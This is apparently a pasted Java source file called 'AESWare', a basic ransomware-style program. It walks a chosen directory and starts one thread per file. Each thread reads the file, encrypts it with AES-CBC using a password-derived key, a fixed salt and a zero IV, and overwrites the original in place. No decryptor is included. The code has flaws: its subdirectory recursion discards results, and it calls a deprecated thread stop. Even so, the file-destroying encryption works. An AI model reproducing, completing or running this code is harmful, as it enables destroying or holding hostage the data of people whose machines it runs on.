· 6 years ago · Oct 29, 2019, 02:44 PM
1package org.AESware.nathan;
2
3import java.io.File;
4import java.io.FileOutputStream;
5import java.io.IOException;
6import java.nio.file.Files;
7import java.security.spec.KeySpec;
8import java.util.Vector;
9
10import javax.crypto.Cipher;
11import javax.crypto.SecretKey;
12import javax.crypto.SecretKeyFactory;
13import javax.crypto.spec.IvParameterSpec;
14import javax.crypto.spec.PBEKeySpec;
15import javax.crypto.spec.SecretKeySpec;
16
17public class AESWare {
18 static File f;
19 public static void main(String[] args) throws Exception {
20 if (args.length <= 1) {
21 System.out.println("ARRRRRRRRR matey you have to have args\n*.jar <24 char key> <optional: directory>");
22 return;
23 }
24 if (args.length == 2) {
25 f = new File(args[1]);
26 } else {
27 f = new File(".").getCanonicalFile();
28 }
29 Vector<File> v = findDIRs(f);
30 System.out.println(v);
31 for (int i=0;i<v.size();i++) {
32 encrypt e = new encrypt(v.get(i), args[0]);
33 e.start();
34 }
35 }
36 public static Vector<File> findDIRs(File folder) {
37 Vector<File> vv = new Vector<File>();
38 for (final File fileEntry : folder.listFiles()) {
39 if (fileEntry.isDirectory()) {
40 findDIRs(fileEntry);
41 } else {
42 System.out.println(fileEntry.getName());
43 vv.add(fileEntry);
44 }
45 }
46 return vv;
47 }
48}
49class encrypt extends Thread {
50 private File file;
51 private byte[] fileB;
52 private byte[] encB;
53 private String salt = "123456789012345678";
54 private String key;
55 public encrypt(File file, String key) {
56 this.file = file;
57 this.key = key;
58 }
59 public void run() {
60 try {
61 fileB = Files.readAllBytes(file.toPath());
62 encB = encrypt(fileB, key);
63 FileOutputStream out = new FileOutputStream(file);
64 out.write(encB);
65 stop();
66
67 } catch (Exception e) {
68 e.printStackTrace();
69 }
70 }
71 public byte[] encrypt(byte[] array, String key) throws Exception {
72 byte[] iv = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
73 IvParameterSpec ivspec = new IvParameterSpec(iv);
74 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
75 KeySpec spec = new PBEKeySpec(key.toCharArray(), salt.getBytes(), 65536, 128);
76 SecretKey tmp = factory.generateSecret(spec);
77 SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
78 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
79 cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivspec);
80 return cipher.doFinal(array);
81 }
82
83}